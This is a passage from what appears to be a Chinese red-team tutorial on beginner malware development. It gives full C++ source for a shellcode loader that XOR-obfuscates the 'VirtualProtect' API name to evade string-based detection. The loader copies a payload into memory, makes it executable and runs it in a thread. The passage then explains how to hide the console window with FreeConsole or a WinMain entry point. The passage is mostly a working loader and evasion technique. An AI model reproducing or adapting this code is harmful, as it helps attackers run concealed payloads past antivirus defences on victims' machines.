pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualProtect);
```

### 4 完整代码

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void xor(char * data, size_t data_len, char * key, size_t key_len) {
    int j;

j = 0;
    for (int i = 0; i < data_len; i++) {
        if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
        j++;
    }
}
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

int main(void) {

void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;
    // XOR中key值
    char key[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    char sVirtualProtect[] = { 0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x18, 0x3b, 0x25, 0x3f, 0x29, 0x2e, 0x3a };

exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
    // 还原混淆处理出sVirtualProtect
    xor((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));

RtlMoveMemory(exec_mem, calc_payload, calc_len);

pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualProtect);

rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

printf("\nHit me!\n");
    getchar();

if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

return 0;
}

```

编译后成功执行，并使用strings没有发现VirtualProtect字符

![LnJhWQ.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-be12a647811dcf21ac634ffe59b73c86b733f7d6.png)

0x08 拓展：隐藏窗口技术
==============

经过几次测试后，发现在不使用console打开exe文件时，会快速的闪出窗口，不利于实际渗透测试。

为了避免弹出窗口，有两种简单的方法

1、FreeConsole()
---------------

[FreeConsole()](https://docs.microsoft.com/en-us/windows/console/freeconsole)函数将调用进程从其控制台中分离出来，调用也方便，只要在原先的代码上添加该函数即可。不过其缺点是窗口并未完全消除，只是闪的时间变短了。

代码对比，只有在main函数中多了一个FreeConsole函数

![LnJoyn.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-6b096e6ca45fbd8dd6f0228ed5ff572c503f0278.png)

测试效果，图片呈现不出来闪烁快慢的效果，但是窗口依旧存在

2、WinMain
---------

WinMain作为一个32位应用程序的入口点，初始化应用程序

编译器会识别带有[WinMain](https://docs.microsoft.com/en-us/windows/win32/learnwin32/winmain--the-application-entry-point)函数的代码为GUI程序，并且在编译时指定子系统为WINDOWS，借此来隐藏窗口

![LnJIQs.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-f0f456e7682aae3d25a864ab14571db0c52fc8e3.png)

编译命令也有一处不同

![LnY1k8.png](https://shs3.b.qianxin.com/attack_forum/2022/04/attach-b242e964c2b208edcfd18faf6fd763c800a8aed8.png)

编译测试，在双击启动exe文件后成功隐藏了窗口

发表于 2022-04-21 14:05:54
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分类：渗透测试

红队技术：恶意程序开发初级篇2-编码加密与混淆

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